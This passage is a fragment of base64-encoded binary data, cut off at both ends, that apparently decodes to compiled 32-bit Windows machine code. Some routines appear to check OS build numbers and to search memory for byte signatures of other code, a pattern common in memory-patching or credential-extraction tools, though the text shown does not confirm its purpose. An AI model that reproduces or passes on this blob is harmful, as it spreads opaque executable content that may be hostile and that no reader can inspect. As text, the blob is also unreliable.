9kY5dCQsck2AfQgAigQ3dTWEwHkEsCrrDA+2wIPgD4qAMBoFEGaYD7fAUFFqIP81iBoFEOhRqv7/g8QMUOhIqv7/WVnrCITAeQTGBDdORjt0JCx2s4B9CAB1EqGIGgUQUIvw6AZ1/v/oRA3+/0ODxyA7XCQwD4Zv////i3wkDIB9CAAPhKUAAAD/N41EJCxQ/3cIv1ADAADonmL+/4PEDITAdB9olKYEEP81iBoFEOhBOP7/WVmL8FbosHT+/+juDP7/i0QkDItABIlEJCCNRCQQiUQkJI1EJCAz/1BoVucAEIl8JBiJfCQciXwkIP8VGOMDEIXAdCKLdCQQ6xZqAVf/Nv8VHOMDEP82/xUg4wMQg8YMO3QkFHXkOXwkEHQK/3QkEOhKPgAAWYt8JAz/N/8VfOEDEFfoNz4AAFmLjCR8AwAAX15bM8ywAeiqNwAAi+Vdw2oM6BoAAABZsAHDahDoDwAAAFmwAcNqFOgEAAAAWbABw1WL7FNWV2oYM9vomD4AAIvwWTvzdAtqBlkzwIv+86vrAjP2i87oPQAAAITAdCuLRQhTU1P/NAZTU/82/xWY4QMQi/g7+3QSav9XswH/FZThAxBX/xV84QMQVuifPQAAWV9eisNbXcNVi+yD5PiB7NwAAACh0AYFEDPEiYQk2AAAAFNWV4vZagZZM8CIjCThAAAAi/toqKYEEI20JLwAAACJXCQcx4Qk4AAAAGoE6wLGhCTkAAAAambHhCTmAAAAW6PHRCQUAnUKocdEJBgBdAqhx4Qk2AAAAFNWVzNmx4Qk3AAAAP87xoQk3gAAAAXzq+gKDv7/g6QkrAAAAAAzwGoHZomEJKAAAACLxl9QjXQkfIm8JLQAAADorn3+/1mEwA+EWgEAAIuEJIAAAACJQwQzwGaJRCRAZolEJFyNhCSAAAAAUI1EJCQz9lAzwIl8JFyJdCRYiXwkeIl0JHToW37+/1lZhMAPhAcBAAD/tCSAAAAAi3wkPAN8JDhWaDoEAACJfCQoiXQkGP8VnOEDEIkDO8YPhNoAAABQagFqCI2EJOgAAABQV/90JEiNXCQk6Khg/v+LfCQwg8QYhMB0Jv83i8NQi0QkFIPACFBqBF7op1/+/4PEDITAdAqLRCQMg8D8iUcI/zeNRCQUagFqBFD/dCQsjVwkIP90JEjoW2D+/4PEGITAdAqLRCQMg8D1iUcM/zeNRCQYagFqBFD/dCQsjVwkIP90JEjoLmD+/4PEGITAdAqLRCQMg8D6iUcQ/zeNhCTYAAAAagFqB1D/dCQsjVwkIP90JEjo/l/+/4PEGITAdA6LRCQMi0wkGIPA9YlBFI1cJCDo527+/4tcJBiLAzPJO8F0GDlLCHQTOUsUdA45Swx0CTlLEHQEswHrDTLbO8F0B1D/FXzhAxBqATP/jbQkoAAAAOhzFv7/agGNtCS8AAAA6GUW/v+LjCTkAAAAX16Kw1szzOinNAAAi+Vdw2ocuFHLAxDo9nAAAIt9CINl4ACNXdjoshf+/zPbOF3cdGeLB4tABItEODCLAIlF6IvI6KL6/f+NRehQ6P81/v9Zi/CNTejoEvv9/4ld/IsPi0EEA8eLSQSLVDk4iF3kD7dMOUCLHv91DFFQUv915I1F5FCLzv9TGIB95AB0B8dF4AQAAACDTfz/agD/deCLB4tIBAPP6PUI/v+Nddjobxf+/4vH6MVwAADCCACLTQiLAYtABAPBi0gMg8kEM9I5UDh1A4PJBIPhF4lIDIVIEHUPg038/7iNFwIQw4t9COupUlLouGsAAMxVi+yD5PiD7Fyh0AYFEDPEiUQkWItFCFNWV4lEJBQzwGjQiAQQjXQkTIlEJByJRCQgiUQkJOj7Cv7/i9iNdCQsx0QkKJUZAhDoPCD+/41EJCiNdCQY6HbM//9qATP/jXQkMOj/FP7/agGNdCRM6PQU/v//dCQUjVwkHOiBxf//WYhEJBPojcz//4tMJGSKRCQTX15bM8zoIDMAAIvlXcNVi+yD7DSh0AYFEDPFiUX8U1ZXx0XshcB0H8ZF8FPHRfSFwHQrxkX4V8dF5OsPagFmx0XoV1bGRero6C+9//+EwA+E6QAAADPAOQU8MAUQD4T4AAAAOQVIMAUQD4XPAAAAOQVAMAUQD4XDAAAAgz28LgUQBnMrgz3ALgUQAr5AMAUQjV3kx0XcBwAAAMdF4Pz///9zRccFRDAFEAgAAADrOaHELgUQvkgwBRA9QB8AAHMMjV3sx0Xg+f///+sVPdAgAABzBMZF9yyNXfTHReD2////x0XcBQAAAL/QiAQQV/8VhOEDEIlF2IXAdENqDI1NzFFQ/xWo4QMQUP8V3OIDEIXAdCJqAGoBagD/deD/ddxTV+irXf7/oTwwBRCLACtFzIPEHAEG/3XY/xWA4QMQM8A5BTwwBRB0EzkFSDAFEHUIOQVAMAUQdAMzwECLTfxfXjPNW+jCMQAAycNVi+yD5PhRU1ZX6JX+//+EwA+EwAAAAINkJAwAgz1IMAUQAHQ/amheVuh9FwAAWf81SDAFEItNCGokW4v46Ni///9ZhcB0df81LDAFEFdQ6GJb/v+DxAyEwHRhjUdQiUQkDOtYizVEMAUQg8ZwVug4FwAAix1EMAUQWf91CIPDLP81QDAFEIv46Ai///9ZWYXAdCn/NSwwBRBXUOgWW/7/g8QMhMB0FaFEMAUQi8+FwHQDjQw4g8FYiUwkDItMJAxqAP91DDPS6HTA//9X6Fw3AACDxAzrEmjApgQQ/zWIGgUQ6NQw/v9ZWV9esAFbi+VdwggAVYvsg+T4g+xcodAGBRAzxIlEJFiLRQhTVleJRCQUM8BowIkEEI10JEyJRCQciUQkIIlEJCToDAj+/4vYjXQkLMdEJCjpGwIQ6E0d/v+NRCQojXQkGOiHyf//agEz/410JDDoEBL+/2oBjXQkTOgFEv7//3QkFI1cJBzoksL//1mIRCQT6J7J//+LTCRkikQkE19eWzPM6DEwAACL5V3DVYvsg+wcodAGBRAzxYlF/FNWV8dF8Ild3InHRfRd5IldxkX44OhVuv//M9uEwHRrOR1MMAUQdHg5HVAwBRB1W77AiQQQVv8VhOEDEIv4O/t0SWoMjUXkUFf/FajhAxBQ/xXc4gMQhcB0KlNqAVNq92oJjUXwUFa+UDAFEOhTW/7/oUwwBRCLACtF5IPEHAEFUDAFEFf/FYDhAxA5HUwwBRB0DTkdUDAFEHQFM8BA6wIzwItN/F9eM81b6G4vAADJw1WL7IPk+IPsDFNWV+gu////hMAPhKYAAACDZCQUAGo8XlboMBUAAFlqIIv46CYVAABZ/3UIiUQkFP81UDAFEGokW+j6vP//WVmFwHRU/zUsMAUQV1DoCFn+/4PEDITAdECLfziF/3Qn/zUsMAUQ/3QkFFdqIF7o51j+/4PEDITAdB+LRCQQg8AIiUQkFOsSaOimBBD/NYgaBRDoyC7+/1lZi0wkFGoB/3UMM9LoO77///90JBjoIDUAAIPEDOsSaBSnBBD/NYgaBRDomC7+/1lZX16wAVuL5V3CCABVi+yD5PiD7Fyh0AYFEDPEiUQkWItFCFNWV4lEJBQzwGjUiwQQjXQkTIlEJByJRCQgiUQkJOjQBf7/i9iNdCQsx0QkKP0eAhDoERv+/41EJCiNdCQY6EvH//9qATP/jXQkMOjUD/7/agGNdCRM6MkP/v//dCQUjVwkHOhWwP//WYhEJBPoYsf//4tMJGSKRCQTX15bM8zo9S0AAIvlXcNVi+yD7DSh0AYFEDPFiUX8U1ZXx0XsiXEEicdF8DCNBL3HReSJeQSJx0XoOI0EtcdF9P9QEIVmx0X4wA/GRfqE6P63//+EwA+EAgEAAIsNKDAFEDPbO8sPhCsBAAA5HTAwBRAPhOYAAAA5HVQwBRAPhdoAAAAz/4E9xC4FEEAfAABzPKG8LgUQg/gFdRiDPcAuBRABdQ9qGI1F9MdF3AcAAABe6yqD+AaNVexq9Rv/iVXgx0XcCAAAAF6Dx9brE2rsXmrNjUXkx0XcCAAAAF+JReBqDI1F0FBR/xWo4QMQUP8V3OIDEIXAdGVTagFTVv913LvEiwQQ/3XgvlQwBRBT6JNY/v+DxByEwHRDoTAwBRCLACtF0AEFVDAFEIX/dC9qAGoBagBX/3XcvlgwBRD/deBT6GBY/v+DxByEwHQQoTAwBRCLACtF0AEFWDAFEDPbOR0oMAUQdC85HTAwBRB0JzkdVDAFEHQfgz28LgUQBXUJgz3ALgUQAXQIOR1YMAUQdAUzwEDrAjPAi038X14zzVvoWiwAAMnDVYvsg+T4g+wMU1ZX6Fb+//+EwA+EgQEAAIM9vC4FEAZzDWpIx0QkGAgAAABf6xyBPcQuBRBAHwAAx0QkFEAAAAC/iAAAAHIDg8cIoVgwBRCDZCQQAIXAdBn/NSwwBRCNTCQUUVBqBF7o4VX+/4PEDOsIx0QkEAEAAAAz9jl0JBB2JKFUMAUQ/3UIi1wkGI0E8FDolrn//4vYWVmF23URRjt0JBBy3GiMjgQQ6e8AAACNdwRW6IoRAABZ/zUsMAUQiUQkGFBT6INV/v+DxAyEwA+EpwAAAItEJBSLNDiF9g+EkQAAAGoM6FcRAABZ/zUsMAUQi/hXVmoMXuhPVf7/g8QMhMB0VoN/CAB0SWoUXlboLhEAAFn/NSwwBRCL2FP/dwjoJ1X+/4PEDITAdA3/dQyNSwzofgAAAOsRaDinBBD/NYgaBRDoCCv+/1lZU+hzMQAA6xhonKcEEOsFaNinBBD/NYgaBRDo5yr+/1lZV+hSMQAA6xhoLKgEEOsFaFioBBD/NYgaBRDoxir+/1lZ/3QkFOguMQAA6xFooKgEEP81iBoFEOipKv7/WVlfXrABW4vlXcIIAFWL7IPseKHQBgUQM8WJRfxTVleL+WaDPwAPhvEBAAAPt0cCZoXAD4TkAQAAg38EAA+E2gEAAFDoUBAAAA+3dwJZ/zUsMAUQi9hT/3cE6EVU/v+DxAyEwA+EmQEAAA+3B1ChNDAFEFP/kLQAAACLQwyFwHQFA8OJQwyLQwSFwHQFA8OJQwRqAI1DIFCNReBQahBY6Bid/v+DxAxqAI1DEFCNRcRQahBY6AOd/v+DxAyAfQgAdFFoaI0EEFGNRcRQUWjEqAQQUY1F4FBRaNyoBBD/NYgaBRDowSn+/4PEDFDo52b+/4PEDFDoryn+/4PEDFDo1Wb+/4PEDFDonSn+/1lZ6dgAAAChiBoFEFCL8OgCZv7/6ED+/f//cwyNRaj/cwhQ6A6e/v+DxAxQUWjUjQQQVuhlKf7/g8QMUOiLZv7/WVmL8Fboy2X+/+gJ/v3//3MEjUWM/zNQ6Nid/v+DxAxQUWisjQQQVugvKf7/g8QMUOhVZv7/WVmL8FbolWX+/+jT/f3/jUXgUFFoEKkEEFboByn+/4PEDFDoLWb+/1lZi/BW6G1l/v/oq/39/41FxFBRaOioBBBW6N8o/v+DxAxQ6AVm/v9ZWWoBM/+NdajoeAr+/2oBjXWM6G4K/v9qATP/jXXE6GIK/v9qAY114OhYCv7/6xJoOKkEEP81iBoFEOiWKP7/WVlT6AEvAADrEWiAqQQQ/zWIGgUQ6Hwo/v9ZWYtN/F9eM82wAVvocCgAAMnDVYvsg+T4g+xcodAGBRAzxIlEJFiLRQhTVleJRCQUM8BoQIoEEI10JEyJRCQciUQkIIlEJCTorv/9/4vYjXQkLMdEJCg6JAIQ6O8U/v+NRCQojXQkGOgpwf//agEz/410JDDosgn+/2oBjXQkTOinCf7//3QkFI1cJBzoNLr//1mIRCQT6EDB//+LTCRkikQkE19eWzPM6NMnAACL5V3DVYvsg+wYodAGBRAzxYlF/FNWV8dF9BxDcmRmx0X4Qf/GRfoV6Pix//8z24TAdGs5HVwwBRB0YzkdYDAFEHVbvtSLBBBW/xWE4QMQi/g7+3RJagyNRehQV/8VqOEDEFD/FdziAxCFwHQqU2oBU2oMageNRfRQVr5gMAUQ6PZS/v+hXDAFEIsAK0Xog8QcAQVgMAUQV/8VgOEDEItN/DPAOR1gMAUQXw+VwF4zzVvoHScAAMnDVYvsg+xAVlfoP////4TAdHz/NSwwBRCDZfwAjUXAUP81YDAFEGoIXujkUP7/g8QMhMB0a4tFwDsFYDAFEHRgi30I/zUsMAUQjU3AUVBqPF7ovFD+/4PEDITAdCSLBztF0HUdi0cEO0XUdRVqAf91DI1V/I1N5Oggtv///0X8WVmLRcA7BWAwBRB1t+sSaLipBBD/NYgaBRDoeSb+/1lZX7ABXsnCCABVi+yD5PiD7Fyh0AYFEDPEiUQkWItFCFNWV4lEJBQzwGhMiQQQjXQkTIlEJByJRCQgiUQkJOi0/f3/i9iNdCQsx0QkKGQmAhDo9RL+/41EJCiNdCQY6C+///9qATP/jXQkMOi4B/7/agGNdCRM6K0H/v//dCQUjVwkHOg6uP//WYhEJBPoRr///4tMJGSKRCQTX15bM8zo2SUAAIvlXcNVi+yD7CSh0AYFEDPFiUX8U1ZXx0X0i/9Vi8dF+OxRVr7HRfCL/1O76Pqv//+EwA+EjQAAADPAOQVkMAUQD4SSAAAAOQVoMAUQdXeBPcQuBRBAHwAAcweNffRqCOsFjX3wagRbvkyJBBBWiV3s/xWE4QMQiUXohcB0SGoMjU3cUVD/FajhAxBQ/xXc4gMQhcB0J2oAagFqAFNTV1a+aDAFEOjWUP7/oWQwBRCLACtF3IPEHAEFaDAFEP916P8VgOEDEDPAOQVkMAUQdAk5BWgwBRB0AUCLTfxfXjPNW+jzJAAAycNVi+yD5PiD7AxTVlfoC////4TAD4SlAAAAg2QkFABqVF5W6LUKAABZahyL+OirCgAAWf81aDAFEItNCGpAW4lEJBToBLP//1mFwHRU/zUsMAUQV1Dojk7+/4PEDITAdECLf1CF/3Qn/zUsMAUQ/3QkFFdqHF7obU7+/4PEDITAdB+LRCQQg8AEiUQkFOsSaOimBBD/NYgaBRDoTiT+/1lZi0wkFGoB/3UMM9LowbP///90JBjopioAAIPEDOsSaNSpBBD/NYgaBRDoHiT+/1lZX16wAVuL5V3CCABVi+yD5PiD7Fyh0AYFEDPEiUQkWItFCFNWV4lEJBQzwGhYiAQQjXQkTIlEJByJRCQgiUQkJOhW+/3/i9iNdCQsx0QkKAgpAhDolxD+/41EJCiNdCQY6NG8//9qATP/jXQkMOhaBf7/agGNdCRM6E8F/v//dCQUjVwkHOjctf//WYhEJBPo6Lz//4tMJGSKRCQTX15bM8zoeyMAAIvlXcNVi+yD7Cyh0AYFEDPFiUX8U1ZXx0Xki0UIicdF6AjHQATHRfSJDolWx0X4BItBBMdF7IkGiU7HRfAEOUgE6Iet//+EwA+EvgAAADPAOQVsMAUQD4TDAAAAOQVwMAUQD4WkAAAAocQuBRA9QB8AAHMFjX3k6w2NffQ90CAAAHIDjX3svliIBBBW/xWE4QMQi9iF23RLagyNRdhQU/8VqOEDEFD/FdziAxCFwHQsagBqAGj0qQQQavxqCFdWvnAwBRDoWU7+/6FsMAUQiwArRdiDxBwBBXAwBRBT/xWA4QMQgz28LgUQBnMWgz3ALgUQAhvAg+AIg8Aco3QwBRDrCscFdDAFECAAAAAzwDkFbDAFEHQJOQVwMAUQdAFAi038X14zzVvoTyIAAMnDVYvsUVNWV+jK/v//hMB0ZYs1dDAFEINl/ACDxhhW6BUIAABZ/3UIi/j/NXAwBRBqEFvo66///1lZhcB0Hv81LDAFEFdQ6PlL/v+DxAyEwHQKiw10MAUQA8/rA4tN/GoA/3UMM9LoY7H//1foSygAAIPEDOsSaASqBBD/NYgaBRDowyH+/1lZX16wAVvJwggAi/9Vi+yLRRRWV4XAdRHoY1UAAItwCOg1VQAAi/jrBYswi3gEhfZ1GGaLRQy5/wAAAGY7wXc/i00IiAEzwEDrQ4NlFABX6HkIAABZjU0UUWoAUOjdVAAAWVD/dQiNRQxqAVBqAFf/FUjiAxCFwHQGg30UAHQO6KFQAADHACoAAACDyP9fXl3Di/9W6OdUAACLcAjouVQAAIvQi8Zew4v/VYvsi1EEi0UIO1AEdQuLCTsIdQUzwEDrAjPAXcIEAIv/VYvsi0UIi1UMiRCJSARdwggAi/9Vi+xRUf91DIsB/3UIjVX4Uv9QDIvI6K7////JwggAi/9Vi+yLRQg7SAR1DIsAO0UMdQUzwEDrAjPAXcIIAItBBMOLQQjDuLAABRDDi/9Vi+z2RQgBVovxxwYk5AMQdAdW6PwmAABZi8ZeXcIEAIv/VYvsUf91DINl/ADof10AAFmLTQhQ6NT0/f+LRQjJwggAi/9Vi+xRg2X8AIN9DAF1B2i45AMQ6wr/dQzoT10AAFlQi00I6KT0/f+LRQjJwggAi/9Vi+xWV4v5i3cs6w//dgRX/3UI/1YIizaDxAyF9nXtX15dwgQAi/9WV2oAi/HozP///4tGKIXAdA+LOFDoXiYAAFmLx4X/dfGLRiyDZigAhcB0D4s4UOhEJgAAWYvHhf918YNmLABfXsOL/1WL7FFqAo1N/OgRBQAAi0UIx0AIAQAAAItICIsMjUQeBRCFyXQQO8h0DItICEGJSAiD+Qhy4otICIkEjUQeBRCLQAj+gGweBRCNTfzo9gQAAMnDi/9Vi+xWi3UIg34IAHYQi0YIjYBsHgUQ/giAOAB/HIvO6EH///+LdjCF9nQOi87o7uX9/1bopyUAAFleXcOLSQTogOX9/4XAdAiLEGoBi8j/EsOL/1WL7GoI6CsmAABZhcB0EIsNeB4FEIkIi00IiUgE6wIzwKN4HgUQXcOL/1WL7ItFCIsIhcl0Eeg25f3/hcB0CIsQagGLyP8SXcOL/1WL7FFqAI1N/OgeBAAAaHweBRDoxf///4MlfB4FEABZjU386CwEAADJw6F8HgUQw4v/VYvsgD2hHgUQAHUSaIssAhDGBaEeBRAB6NwdAABZi0UIo3weBRBdw2oEuDTHAxDojloAAGoAjU3w6LwDAACLfQiDZfwAi3cM6x+LRwhOjQSwgzgAdBOLCOiX5P3/hcB0CIsQagGLyP8ShfZ13f93COh9IwAAg038/1mNTfDooAMAAOjaWgAAw2oEuDTHAxDoLloAAGoAjU3w6FwDAACDZfwA6xeL8IsAi86jeB4FEOi4/v//VuhVJAAAWaF4HgUQhcB14INN/P+NTfDoUgMAAOiMWgAAw4v/VYvsi0UIi0AUhcB0ClBqAOjVQwAAWVldw4v/VYvsVovxiwZXi30IO8d0PoXAdAdQ6OUiAABZgyYAhf90LIA/AIvHdAZAgDgAdforx1ONWAFT6CYmAABZiQaFwHQLU1dQ6PRRAACDxAxbX4vGXl3CBACL/1WL7GoAagDoa0MAAFlZhcB1Bbh0FwQQVot1CFCNThTogv///4N9DAB0EP91DGoA6ENDAABZWYXAdQW44OQDEFCNThzoXv///15dw4v/VYvsVovxik0IM8CIThSNThjHRgQBAAAAxwbo5AMQiUYIiUYMiUYQaODkAxCJAYhBBOgj////i8ZeXcIEAGoEuGLHAxDo4VgAAIvxiXXwxwbo5AMQVsdF/AEAAADoL/7//4tGGFmFwHQHUOjrIQAAWYNmGADHBtzkAxDoSlkAAMOL/1WL7FaL8eiw////9kUIAXQHVujeIgAAWYvGXl3CBABqBLg0xwMQ6H1YAAChfB4FEDP2i/g7xnVuVo1N8OifAQAAoXweBRCJdfyL+DvGdUtqIOhIIwAAWTvGdApWi8joGf///4vwVov+6Hf9//+NThjHRhA/AAAAxwQk7OQDEOhU/v//i86JNYAeBRDoIuL9/6GAHgUQo5geBRCDTfz/jU3w6GIBAACLx+iaWAAAw4v/VYvsVv91CIvx6FQdAADHBvTkAxCLxl5dwgQAi/9Vi+yD7AyLRQiJRQiNRQhQjU306IEcAABopLsEEI1F9FDHRfQA5QMQ6H5TAADMi/9Vi+xW/3UIi/HoBx0AAMcGAOUDEIvGXl3CBACL/1WL7IPsDItFCIlFCI1FCFCNTfToNBwAAGjguwQQjUX0UMdF9AzlAxDoMVMAAMyL/1WL7Fb/dQiL8ei6HAAAxwYM5QMQi8ZeXcIEAIv/VYvsVovx6G4cAAD2RQgBdAdW6HchAABZi8ZeXcIEAIv/V2hMAQUQi/n/FUziAxCFwHUZVr6oHgUQVuiWGgAAg8YYWYH+CB8FEHzuXovHX8NoTAEFEP8VUOIDEIXAeRlWvqgeBRBW6HoaAACDxhhZgf4IHwUQfO5ew4v/VYvsi0UIVovxiQaD+AR9D2vAGAWoHgUQUOhcGgAAWYvGXl3CBACLAYP4BH0Pa8AYBageBRBQ6E8aAABZw4v/VmoYi/HocyEAAFCJBugJGgAAWVmLxl7Di/9Wi/H/NugHGgAA/zboqSAAAFlZXsP/MegFGgAAWcP/MegMGgAAWcPpFFoAAIv/VYvsXeksIQAAi/9Vi+xRZotNCA+3wbr//wAAiUX8ZjvKdEqLVQxWizK6AAEAAIX2dRlXX2Y7ynMSjVG/ZoP6GXcqZoPBIA+3weshagGNRfxQagGNRQhQUlboI2QAAIPEGIXAD7dFCHQDi0X8XsnDi/9Vi+xRZotNCA+3wbr//wAAiUX8ZjvKdEyLVQyLEoXSdR5WvgABAABmO85ecxKNUZ9mg/oZdy5mg+kgD7fBycNqAY1F/FBqAY1FCFBoAAIAAFLoumMAAIPEGIXAD7dFCHQDi0X8ycOL/1WL7IPsJKHQBgUQM8WJRfxqCmofjUXdUGoA/3UIxkXcLuiBZQAAjUXcUGoA6EA+AACLTfwzzYPEHOj8GAAAycOL/1WL7FGLRQhTVldqPjPSWffxM/aNBJUQHwUQiUX8i0X8iziL34X/dA6LQwQ7RQh0RYsbhdt18oX2dSJqDOhDZQAAi/BZhfZ0TYtdCFPoa////1mJRgiFwHQ1iV4EV1b/dfyJPv8VVOIDEDvHdbCLRghfXlvJw4X2dBD/dgjoQjIAAFbozR0AAFlZi0MI6+JW6MAdAABZM8Dr14v/U1ZXuxAfBRBqAFP/FVjiAxCL8IX2dBj/dgiLPugHMgAAVuiSHQAAWVmL94X/deiDwwSB+wggBRB8zl9eW8No9jICEOidRAAA99gbwFmD4BjDi/9Vi+xTVleLfQyF/3QXg30QAHQRgD8AdROLRQiFwHQFM8lmiQgzwF9eW13Di0UYhcB1D+iMSwAAi3AI6F5LAADrBYswi0AEiUUMhfZ1EotFCIXAdAYPtg9miQgzwEDrx/91DOip/v//i3UUgz4AWYvYdFSKB1OIRgHoBEsAAFmD+AF+LTPAOUUID5XAUP91CGoCVmoJ/3UM/xVc4gMQhcB0D4MmAFPo10oAAFnpdv///4MmAOiwRgAAxwAqAAAAg8j/6WD///+F23UT6PhkAAAPtg8PtwRIJQCAAADrDg+2B4tLBA+2RAEdg+AEhcB0W1PojEoAAFk5RRBzDIoHav6IBljpH////1PodEoAAFmD+AF+KDPAOUUID5XAUP91CFPoXEoAAFlQV2oJ/3UM/xVc4gMQhcAPhWn///+AfwEAD4Vf////6Wb///8zwDlFCA+VwFD/dQhqAVdqCf91DP8VXOIDEIXAD4Xu/v//6UL///+L/1WL7IPsEFaLdQyF9nUS6D1KAACLQAiJRfToDEoAAOsIiwaJRfSLRgSDffQAiUXwdReLRQiNSL+D+RkPh8gAAACDwCDpwAAAAFOLXQhXvwABAAA733MdhfZ1EFPou2YAAFmFwHUS6YYAAACLRgj2BFgBdH2F9nUbiV34wX34COjRYwAAD7ZN+A+3BEglAIAAAOsci04IiV34wX34CItF+CX/AAAAD78EQcHoD4PgAYXAdBKKRfhqAohFDIhdDcZFDgBY6wozwIhdDMZFDQBAagH/dfCNTfxqA1FQjUUMUFf/dfRqAOibZQAAg8QkhcB1BIvD6xKD+AEPtkX8dAkPtk39weAIC8FfW17Jw4v/VYvsVug6SQAAi0AEi3UIiQboB0kAAGoCaAABAACJRgToNmIAAFlZiUYIhcB0H2gAAgAA6A9jAABQ/3YI6ORJAACDxAzHRgwBAAAA6wzo9WIAAINmDACJRgiLxl5dw4v/VYvsUY1F/FBqAY1FCFBqAf8VYOIDEA+/Tfz32BvAI8HJw4v/VYvsi0UM/3UQK0UI0fhQ/3UIagH/FWDiAxCLRQxdw4v/VYvsi00Mi0UIiUggi00QiUgkXcOL/1WL7ItFCItNDIlICItNEMcAbjYCEIlIDF3Di/9Vi+xTVleLfQyF/3UDjX0Ii10ID7YDi/PrBEYPtgZQ6BZnAABZhcB18YoGPC10CjwrdAbGRQ8r6wSIRQ9G/3UU/3UQV1boTQMAAIPEEDs3dQKJH77///9/Ox91BIXAdReAfQ8rdQQ7xncNgH0PLXUuPQAAAIB2JeiVQwAAxwAiAAAAi0UUhcB0BscAAQAAADPAgH0PLQ+UwAPG6wL32F9eW13Di/9Vi+xR/3UU/3UQ/3UM/3UI6HkEAADZXfzZRfyDxBDJw4v/VYvsU1ZXi30Mhf91A419CItdCA+2A4vz6wRGD7YGUOhPZgAAWYXAdfGKBjwtdAo8K3QGxkUPK+sEiEUPRv91FP91EFdW6HcAAACDxBA7N3UCiR++AAAAgDsfdQaLyAvKdSWAfQ8rdQ+B+v///393F3IFg/j/dxCAfQ8tdT871nI0dwSFwHQu6L5CAADHACIAAACLRRSFwHQGxwABAAAAgH0PLXUGM8CL1usRg8j/uv///3/rB/fYg9IA99pfXltdw4v/VYvsi0UUg+woU1Yz9lc7xnQCiTCLXQgPtgOL++sERw+2B1DoiGUAAFmFwHXxigc8LXQKPCt0BsZF/yvrBIhF/0eLRRA7xg+MpAEAAIP4AQ+EmwEAAIP4JA+PkgEAALEwO8Z+FoP4EHU8OA91OIpHATx4dC48WHUt6yg4D3QJx0UQCgAAAOseikcBPHh0DTxYdAnHRRAIAAAA6wrHRRAQAAAAg8cCiX306wFHOA90+w++B/91EIl16FCJdeyJffCJdeCJdeTGRf4A6J5mAABZUL4g5QMQVujpFwAAi8iDxAyFyXRni0UQmYlF2IlV3P917ItF6P916IlF4ItF7P913IlF5P912IrZi8Yq2Ihd/ugAZwAA/3UQi8gPvsOJVfiZA8iLRfgTwolF7EcPvgdQiU3o6DVmAABZUFbohRcAAIvIg8QMhcl1potdCDl99HUKi0UMhcDpmwAAAItdEA++i0jlAxCLxyvBK0XweFmFwH8xD75F/ot16ItN7Jkr8BvKOU3sch13BTl16HIWi8OZUlBRVugMZgAAO0XgdQU7VeR0JOjgQAAAxwAiAAAAi0UUhcB0BscAAQAAAINN6P+DTez/xkX/K4B9/y11E4tF6ItN7PfYg9EA99mJReiJTeyLRQyFwHQCiTiLReiLVezrDYtFDDvGdAKJGDPAM9JfXlvJw4v/VYvsXemcAQAAi/9Vi+yLRRSD7BRTM9tWVzvDdAKJGIt9CA+2B4v36wRGD7YGUOh5YwAAWYXAdfGKBjwtdAo8K3QGxkX/K+sEiEX/RotFEDvDD4w+AQAAg/gBD4Q1AQAAg/gkD48sAQAAsTA7w34Wg/gQdTw4DnU4ikYBPHh0LjxYdS3rKDgOdAnHRRAKAAAA6x6KRgE8eHQNPFh0CcdFEAgAAADrCsdFEBAAAACDxgKJdfDrAUY4DnT7D74G/3UQiV34UIl17Ild9OiZZAAAWVC/cOUDEFfo5BUAAIPEDDvDdDiLTfj/dRCK2IvHKtiLwQ+vRRCJTfQPvssDwYlF+EYPvgZQ6F5kAABZUFforhUAAIPEDIXAdcrrA4pdEzl18HUOi0UMhcB0dItNCIkI622LTRAPvpGY5QMQi8YrwitF7Hg6hcB/FotF+A++0yvCOUX4cgkz0vfxO0X0dCDoID8AAMcAIgAAAItFFIXAdAbHAAEAAACDTfj/xkX/K4B9/y11A/dd+ItFDIXAdAKJMItF+OsLi0UMO8N0Aok4M8BfXlvJw4v/VYvsUVFW6NE+AACLMOjKPgAA/3UMgyAA/3UI6KBlAADdXfhZWeiyPgAAiwCLTRSJAeimPgAA3QXA5QMQiTCLRRBe6wndRfhI2MndXfiFwH/zeQ332EjdRfjY8d1d+HX13djdRfjJw4sViCEFEFa+ECAFEIvBiTWMIQUQhdJ0CYsKi0kEiXQRPIsVkCEFEIXSdA+LCotJBIs1jCEFEIl0ETyLFZQhBRCF0nQPiwqLSQSLNYwhBRCJdBE8XsOLURCNQUg5AnUYi0FAVotxPIkyi1EgiQKLSTArwNH4iQFew4v/VYvsVovx6AX7/f+LzscGdOYDEMZGUADGRkoA6K8I/v+LRQiJRlShCCAFEINmRACJRkyLxl5dwgQAM8BAw4v/VYvs/3UM6NNmAAAPt8BZuf//AABmO8F1BDLAXcOLTQhmiQGwAV3Di/9Vi+z/dQz/dQjomWgAAFlZuf//AAAz0mY7wQ+VwF3Di/9Vi+yLRQgPtwD/dQxQ6J5qAABZWbn//wAAM9JmO8EPlcBdw4tBVIXAdAdQ6J0lAABZw4tBVIXAdAdQ6AEmAABZw4v/Vovxg35UAHQkiwZXv///AABX/1AMZjv4X3QS/3ZU6ENsAABZhcB5BYPI/17DM8Bew4v/VYvsUYtFDFOLXRBWi3UUiQaLRRhXi30giU38M8mJB4sGO8MPlcGJTRQ7w3Rdiw87TRx0VotV/IsGg8IIUv91CIvTK9BSUFHoRvX//4PEFIP4/nQ0g/j/dCqFwHUQiw9mOQF1EP826D5BAABZQIP4/XUCM8ABBoMHAoNlFAA5HnWs6wdqAljrBYkei0UUX15bycIcAIv/VYvsg+wcodAGBRAzxYlF/ItFDFOLXQhWi3UUiQaLRRhXi30giU3oM8mJB4sGO0UQiV3kD5XBiU3sO0UQD4SnAAAAi0UcOQcPhJwAAACLB4lF8Oj/PwAAi00cK03wO8F/JItF6IPACFCLBg+3AFNQ/3Xw6NTq//+DxBCFwHhegwYCAQfrRosDiUXwi0Xog8AIUIsGD7cAU1CNRfRQ6Krq//+L2IPEEIXbeDKLB4tNHCvIO8t8LFONTfRRUOjjQAAAgwYCg8QMAR+LXeSLRRCDZewAOQYPhWj////rDWoCWOsLi0Xwi03kiQGLReyLTfxfXjPNW+gPDAAAycIcAIv/VYvsg+wUodAGBRAzxYlF/INl8ABTVot1FIvBi00MV4t9CIPACFBXiQ6LD41F9GoAUIlN7OgT6v//i9iDxBCF238Jx0XwAgAAAOsuiwaLTRBLK8g7y30Oi0XsiQfHRfABAAAA6xSF234QU41N9FFQ6DBAAACDxAwBHotN/ItF8F9eM81b6IALAADJwhAAi/9Vi+xRi0UIiwBTVot1DDPbV4v5iUX8OV0Udks7dRB0Ro1HCFCNRfxQi0UQK8ZQjUUIVlDoNvP//4PEFIP4/nQmg/j/dCGFwHUOZjlFCHUPVugwPwAAWUCD+P11AjPAA/BDO10UcrVfXovDW8nCEABqBVjDi/9Vi+z2RQgBVovxxwbc5AMQdAdW6GYRAABZi8ZeXcIEAIv/Vovxi0YgiwiFyXQTi1YwixKLwY0UU